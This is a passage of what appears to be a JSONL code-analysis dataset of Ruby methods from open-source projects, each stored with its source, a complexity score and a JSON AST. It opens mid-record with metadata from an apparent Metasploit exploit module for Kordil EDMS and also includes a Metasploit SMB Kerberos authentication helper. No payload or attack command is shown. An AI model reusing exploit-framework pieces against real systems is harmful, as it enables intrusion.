api_fs_delete_file\"]}]}]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Notes\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Reliability\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_RELIABILITY\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Stability\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_STABILITY\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SideEffects\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_SIDE_EFFECTS\"]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"register_options\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"TARGETURI\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"The path to the web application\"]},{\"type\":\"str\",\"children\":[\"/kordil_edms/\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"needs_cleanup=\",{\"type\":\"true\",\"children\":[]}]}]}]}","id":"5516bb17-5a32-4bca-96d8-c8fb1f48fae2"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/email/handler/service_desk_handler.rb","start_line":105,"raw_source":"def valid_project_key?(project, slug)\n          project.present? && slug == project.full_path_slug\n        end","complexity_score":4.5,"ast_json":"{\"type\":\"def\",\"children\":[\"valid_project_key?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"project\"]},{\"type\":\"arg\",\"children\":[\"slug\"]}]},{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"project\"]},\"present?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"slug\"]},\"==\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"project\"]},\"full_path_slug\"]}]}]}]}","id":"0e54d6e1-86d6-4375-bb61-f143e9c3e6a5"}
{"repo_name":"pundit","file_path":"./repos/pundit/lib/pundit/policy_finder.rb","start_line":61,"raw_source":"def scope!\n      scope or raise NotDefinedError, \"unable to find scope `#{find(object)}::Scope` for `#{object.inspect}`\"\n    end","complexity_score":8.8,"ast_json":"{\"type\":\"def\",\"children\":[\"scope!\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[null,\"scope\"]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[null,\"NotDefinedError\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"unable to find scope `\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"find\",{\"type\":\"send\",\"children\":[null,\"object\"]}]}]},{\"type\":\"str\",\"children\":[\"::Scope` for `\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"object\"]},\"inspect\"]}]},{\"type\":\"str\",\"children\":[\"`\"]}]}]}]}]}","id":"7eeff962-0aa1-4b12-8fc5-9470a9ffdfd0"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/core/exploit/remote/smb/client/kerberos_authentication.rb","start_line":41,"raw_source":"def smb1_authenticate\n    raise ::RubySMB::Error::AuthenticationFailure, 'Missing kerberos authenticator' unless @kerberos_authenticator\n\n    kerberos_result = @kerberos_authenticator.authenticate\n\n    @application_key = @session_key = kerberos_result[:session_key].value[0...16]\n\n    raw_kerberos_response = smb1_kerberos_authenticate(kerberos_result[:security_blob])\n    response = smb1_session_setup_response(raw_kerberos_response)\n    @kerberos_authenticator.validate_response!(response.data_block.security_blob)\n\n    response_code = response.status_code\n\n    # Store the available OS information before going forward.\n    @peer_native_os = response.data_block.native_os.to_s\n    @peer_native_lm = response.data_block.native_lan_man.to_s\n\n    @user_id = response.smb_header.uid if response_code == WindowsError::NTStatus::STATUS_SUCCESS\n\n    response_code\n  end","complexity_score":35.2,"ast_json":"{\"type\":\"def\",\"children\":[\"smb1_authenticate\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@kerberos_authenticator\"]},null,{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"RubySMB\"]},\"Error\"]},\"AuthenticationFailure\"]},{\"type\":\"str\",\"children\":[\"Missing kerberos authenticator\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"kerberos_result\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@kerberos_authenticator\"]},\"authenticate\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@application_key\",{\"type\":\"ivasgn\",\"children\":[\"@session_key\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"kerberos_result\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"session_key\"]}]},\"value\"]},\"[]\",{\"type\":\"erange\",\"children\":[{\"type\":\"int\",\"children\":[0]},{\"type\":\"int\",\"children\":[16]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"raw_kerberos_response\",{\"type\":\"send\",\"children\":[null,\"smb1_kerberos_authenticate\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"kerberos_result\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"security_blob\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"response\",{\"type\":\"send\",\"children\":[null,\"smb1_session_setup_response\",{\"type\":\"lvar\",\"children\":[\"raw_kerberos_response\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@kerberos_authenticator\"]},\"validate_response!\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"response\"]},\"data_block\"]},\"security_blob\"]}]},{\"type\":\"lvasgn\",\"children\":[\"response_code\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"response\"]},\"status_code\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@peer_native_os\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"response\"]},\"data_block\"]},\"native_os\"]},\"to_s\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@peer_native_lm\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"response\"]},\"data_block\"]},\"native_lan_man\"]},\"to_s\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"response_code\"]},\"==\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"WindowsError\"]},\"NTStatus\"]},\"STATUS_SUCCESS\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@user_id\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"response\"]},\"smb_header\"]},\"uid\"]}]},null]},{\"type\":\"lvar\",\"children\":[\"response_code\"]}]}]}","id":"5f4b94a9-2566-4e8e-8a9c-4cd84b492f01"}
{"repo_name":"spree","file_path":"./repos/spree/api/app/controllers/spree/api/v2/platform/shipments_controller.rb","start_line":136,"raw_source":"def remove_item_service\n            Spree::Api::Dependencies.platform_shipment_remove_item_service.constantize\n          end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"remove_item_service\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Spree\"]},\"Api\"]},\"Dependencies\"]},\"platform_shipment_remove_item_service\"]},\"constantize\"]}]}","id":"7efc78d1-8a53-4f21-95f0-d0080c51902c"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/lib/active_record/tasks/abstract_tasks.rb","start_line":51,"raw_source":"def configuration_hash_without_database\n          configuration_hash.merge(database: nil)\n        end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"configuration_hash_without_database\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"configuration_hash\"]},\"merge\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"database\"]},{\"type\":\"nil\",\"children\":[]}]}]}]}]}","id":"e908c34b-d462-4019-b39c-c017ac1a7c11"}
{"repo_name":"rails","file_path":"./repos/rails/actionpack/test/controller/params_wrapper_test.rb","start_line":373,"raw_source":"def parse\n      self.class.last_parameters = request.params.except(:controller, :action)\n      head :ok\n    end","complexity_score":6.6,"ast_json":"{\"type\":\"def\",\"children\":[\"parse\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"class\"]},\"last_parameters=\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"request\"]},\"params\"]},\"except\",{\"type\":\"sym\",\"children\":[\"controller\"]},{\"type\":\"sym\",\"children\":[\"action\"]}]}]},{\"type\":\"send\",\"children\":[null,\"head\",{\"type\":\"sym\",\"children\":[\"ok\"]}]}]}]}","id":"18b1274f-0fbc-497a-8417-6ebd75f526de"}
{"repo_name":"sidekiq","file_path":"./repos/sidekiq/test/actors_test.rb","start_line":68,"raw_source":"def await(timeout = 0.5)\n      @mutex.synchronize do\n        yield\n        @cond.wait(@mutex, timeout)\n      end\n    end","complexity_score":5.65,"ast_json":"{\"type\":\"def\",\"children\":[\"await\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"timeout\",{\"type\":\"float\",\"children\":[0.5]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@mutex\"]},\"synchronize\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"yield\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@cond\"]},\"wait\",{\"type\":\"ivar\",\"children\":[\"@mutex\"]},{\"type\":\"lvar\",\"children\":[\"timeout\"]}]}]}]}]}","id":"9bd8408b-ac3e-457c-8d00-29c38ff19ddb"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/qa/qa/flow/group.rb","start_line":8,"raw_source":"def update_to_ultimate(group)\n        Page::Main::Menu.perform(&:go_to_admin_area)\n        Page::Admin::Menu.perform(&:go_to_groups_overview)\n\n        Page::Admin::Overview::Groups::Index.perform do |index|\n          index.search_group(group.name)\n          index.click_group(group.name)\n        end\n\n        return unless EE::Page::Admin::Overview::Groups::Show.perform(&:group_plan) != 'Ultimate'\n\n        Page::Admin::Overview::Groups::Show.perform(&:click_edit_group_link)\n\n        Page::Admin::Overview::Groups::Edit.perform do |edit|\n          edit.select_plan('Ultimate')\n          edit.click_save_changes_button\n        end\n      end","complexity_score":22.8,"ast_json":"{\"type\":\"def\",\"children\":[\"update_to_ultimate\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"group\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Page\"]},\"Main\"]},\"Menu\"]},\"perform\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"go_to_admin_area\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Page\"]},\"Admin\"]},\"Menu\"]},\"perform\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"go_to_groups_overview\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Page\"]},\"Admin\"]},\"Overview\"]},\"Groups\"]},\"Index\"]},\"perform\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"index\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"index\"]},\"search_group\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"group\"]},\"name\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"index\"]},\"click_group\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"group\"]},\"name\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"EE\"]},\"Page\"]},\"Admin\"]},\"Overview\"]},\"Groups\"]},\"Show\"]},\"perform\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"group_plan\"]}]}]},\"!=\",{\"type\":\"str\",\"children\":[\"Ultimate\"]}]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Page\"]},\"Admin\"]},\"Overview\"]},\"Groups\"]},\"Show\"]},\"perform\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"click_edit_group_link\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Page\"]},\"Admin\"]},\"Overview\"]},\"Groups\"]},\"Edit\"]},\"perform\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"edit\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"edit\"]},\"select_plan\",{\"type\":\"str\",\"children\":[\"Ultimate\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"edit\"]},\"click_save_changes_button\"]}]}]}]}]}","id":"63f5219e-a2c2-4d1d-9816-db464b14a935"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/achievements/destroy_user_achievement_service.rb","start_line":7,"raw_source":"def initialize(current_user, user_achievement)\n      @current_user = current_user\n      @user_achievement = user_achievement\n    end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"current_user\"]},{\"type\":\"arg\",\"children\":[\"user_achievement\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@current_user\",{\"type\":\"lvar\",\"children\":[\"current_user\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@user_achievement\",{\"type\":\"lvar\",\"children\":[\"user_achievement\"]}]}]}]}","id":"84778912-527d-4b7c-8f43-3d9abb99a79d"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/miq_widget/content_option_generator.rb","start_line":2,"raw_source":"def generate(group, users, need_timezone = true)\n    if group.kind_of?(MiqGroup) && !group.self_service?\n      return \"MiqGroup\", group.description, nil, need_timezone ? timezones_for_users(users) : %w[UTC]\n    else\n      return \"User\", group.description, userids_for_users(users), nil\n    end\n  end","complexity_score":12.1,"ast_json":"{\"type\":\"def\",\"children\":[\"generate\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"group\"]},{\"type\":\"arg\",\"children\":[\"users\"]},{\"type\":\"optarg\",\"children\":[\"need_timezone\",{\"type\":\"true\",\"children\":[]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"group\"]},\"kind_of?\",{\"type\":\"const\",\"children\":[null,\"MiqGroup\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"group\"]},\"self_service?\"]},\"!\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"str\",\"children\":[\"MiqGroup\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"group\"]},\"description\"]},{\"type\":\"nil\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"need_timezone\"]},{\"type\":\"send\",\"children\":[null,\"timezones_for_users\",{\"type\":\"lvar\",\"children\":[\"users\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"UTC\"]}]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"str\",\"children\":[\"User\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"group\"]},\"description\"]},{\"type\":\"send\",\"children\":[null,\"userids_for_users\",{\"type\":\"lvar\",\"children\":[\"users\"]}]},{\"type\":\"nil\",\"children\":[]}]}]}]}","id":"57450404-0568-4a3e-8980-f9c489d52073"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/qa/qa/resource/runner_base.rb","start_line":100,"raw_source":"def restart\n        Runtime::Logger.info(\"Restarting runner container #{name}...\")\n        @docker_container.restart\n        wait_until_online\n      end","complexity_score":4.2,"ast_json":"{\"type\":\"def\",\"children\":[\"restart\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Runtime\"]},\"Logger\"]},\"info\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Restarting runner container \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"name\"]}]},{\"type\":\"str\",\"children\":[\"...\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@docker_container\"]},\"restart\"]},{\"type\":\"send\",\"children\":[null,\"wait_until_online\"]}]}]}","id":"d9351dcc-0ee0-433f-9b41-3f9a9417c6d8"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/components/diffs/overflow_warning_component_spec.rb","start_line":32,"raw_source":"def parse_link(html)\n    Nokogiri::HTML5.fragment(html).at_css(\"a\")\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"parse_link\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"html\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Nokogiri\"]},\"HTML5\"]},\"fragment\",{\"type\":\"lvar\",\"children\":[\"html\"]}]},\"at_css\",{\"type\":\"str\",\"children\":[\"a\"]}]}]}","id":"14e5cde8-769b-418f-9601-118d226a75ac"}
{"repo_name":"forem","file_path":"./repos/forem/app/lib/url.rb","start_line":125,"raw_source":"def self.local_image(image_name, host: nil)\n    host ||= ActionController::Base.asset_host || url(nil)\n    ActionController::Base.helpers.image_url(image_name, host: host)\n  end","complexity_score":6.4,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"local_image\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"image_name\"]},{\"type\":\"kwoptarg\",\"children\":[\"host\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"or_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"host\"]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActionController\"]},\"Base\"]},\"asset_host\"]},{\"type\":\"send\",\"children\":[null,\"url\",{\"type\":\"nil\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActionController\"]},\"Base\"]},\"helpers\"]},\"image_url\",{\"type\":\"lvar\",\"children\":[\"image_name\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"host\"]},{\"type\":\"lvar\",\"children\":[\"host\"]}]}]}]}]}]}","id":"79008ae2-19b9-4c31-bb5e-26962bd1d54b"}
{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/style/class_and_module_children.rb","start_line":169,"raw_source":"def tab_indentation_width\n          config.for_cop('Layout/IndentationStyle')['IndentationWidth'] ||\n            configured_indentation_width\n        end","complexity_score":6.0,"ast_json":"{\"type\":\"def\",\"children\":[\"tab_indentation_width\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"config\"]},\"for_cop\",{\"type\":\"str\",\"children\":[\"Layout/IndentationStyle\"]}]},\"[]\",{\"type\":\"str\",\"children\":[\"IndentationWidth\"]}]},{\"type\":\"send\",\"children\":[null,\"configured_indentation_width\"]}]}]}","id":"23654086-6358-4ffc-ac48-aa91cd8b683f"}
{"repo_name":"rails","file_path":"./repos/rails/activesupport/lib/active_support/tagged_logging.rb","start_line":65,"raw_source":"def tags_text\n        tag_stack.format_message(\"\")\n      end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"tags_text\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"tag_stack\"]},\"format_message\",{\"type\":\"str\",\"children\":[\"\"]}]}]}","id":"8c3771cb-d771-4455-b8d4-ce31123ce355"}
{"repo_name":"openproject","file_path":"./repos/openproject/config/initializers/suppress_routing_error_logs.rb","start_line":36,"raw_source":"def ignore_error?(env, wrapper)\n    !Rails.logger.debug? && routing_error?(env, wrapper)\n  end","complexity_score":6.0,"ast_json":"{\"type\":\"def\",\"children\":[\"ignore_error?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"env\"]},{\"type\":\"arg\",\"children\":[\"wrapper\"]}]},{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rails\"]},\"logger\"]},\"debug?\"]},\"!\"]},{\"type\":\"send\",\"children\":[null,\"routing_error?\",{\"type\":\"lvar\",\"children\":[\"env\"]},{\"type\":\"lvar\",\"children\":[\"wrapper\"]}]}]}]}","id":"b912ad94-6bd8-418c-a30e-92129230a86c"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/lib/active_record/connection_adapters/postgresql/column.rb","start_line":61,"raw_source":"def encode_with(coder)\n          coder[\"serial\"] = @serial\n          coder[\"identity\"] = @identity\n          coder[\"generated\"] = @generated\n          super\n        end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"encode_with\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"coder\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"coder\"]},\"[]=\",{\"type\":\"str\",\"children\":[\"serial\"]},{\"type\":\"ivar\",\"children\":[\"@serial\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"coder\"]},\"[]=\",{\"type\":\"str\",\"children\":[\"identity\"]},{\"type\":\"ivar\",\"children\":[\"@identity\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"coder\"]},\"[]=\",{\"type\":\"str\",\"children\":[\"generated\"]},{\"type\":\"ivar\",\"children\":[\"@generated\"]}]},{\"type\":\"zsuper\",\"children\":[]}]}]}","id":"e3ab044c-fca2-41ce-8970-f305c95a31cf"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/ci/config/external/file/project.rb","start_line":52,"raw_source":"def validate_context!\n              if !can_access_local_content?\n                errors.push(\"Project `#{masked_project_name}` not found or access denied! Make sure any includes in the pipeline configuration are correctly defined.\")\n              elsif sha.nil?\n                errors.push(\"Project `#{masked_project_name}` reference `#{masked_ref_name}` does not exist!\")\n              end\n            end","complexity_score":15.8,"ast_json":"{\"type\":\"def\",\"children\":[\"validate_context!\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"can_access_local_content?\"]},\"!\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"errors\"]},\"push\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Project `\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"masked_project_name\"]}]},{\"type\":\"str\",\"children\":[\"` not found or access denied! Make sure any includes in the pipeline configuration are correctly defined.\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"sha\"]},\"nil?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"errors\"]},\"push\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Project `\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"masked_project_name\"]}]},{\"type\":\"str\",\"children\":[\"` reference `\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"masked_ref_name\"]}]},{\"type\":\"str\",\"children\":[\"` does not exist!\"]}]}]},null]}]}]}","id":"3d9abf85-19f4-41c9-9aef-78310dff5d34"}
{"repo_name":"openproject","file_path":"./repos/openproject/spec/support/pages/members.rb","start_line":53,"raw_source":"def open_filters!\n      find_by_id(\"filter-member-button\").click\n    end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"open_filters!\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"find_by_id\",{\"type\":\"str\",\"children\":[\"filter-member-button\"]}]},\"click\"]}]}","id":"d7f487b0-3ae1-49a7-a6ea-b5b5f1ed94d2"}
{"repo_name":"rails","file_path":"./repos/rails/railties/test/commands/dbconsole_test.rb","start_line":207,"raw_source":"def app_db_config(results, &block)\n      Rails.application.config.stub(:database_configuration, results || {}, &block)\n    end","complexity_score":6.0,"ast_json":"{\"type\":\"def\",\"children\":[\"app_db_config\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"results\"]},{\"type\":\"blockarg\",\"children\":[\"block\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rails\"]},\"application\"]},\"config\"]},\"stub\",{\"type\":\"sym\",\"children\":[\"database_configuration\"]},{\"type\":\"or\",\"children\":[{\"type\":\"lvar\",\"children\":[\"results\"]},{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"block_pass\",\"children\":[{\"type\":\"lvar\",\"children\":[\"block\"]}]}]}]}","id":"e72e414a-2c02-4b83-8413-706a2414dc47"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/integrations/slack_slash_commands.rb","start_line":30,"raw_source":"def trigger(params)\n      # Format messages to be Slack-compatible\n      super.tap do |result|\n        result[:text] = format(result[:text]) if result.is_a?(Hash)\n      end\n    end","complexity_score":8.0,"ast_json":"{\"type\":\"def\",\"children\":[\"trigger\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"params\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"zsuper\",\"children\":[]},\"tap\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"result\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"is_a?\",{\"type\":\"const\",\"children\":[null,\"Hash\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"text\"]},{\"type\":\"send\",\"children\":[null,\"format\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"text\"]}]}]}]},null]}]}]}","id":"93f16432-26a0-4ff1-a473-a1419cd9826d"}
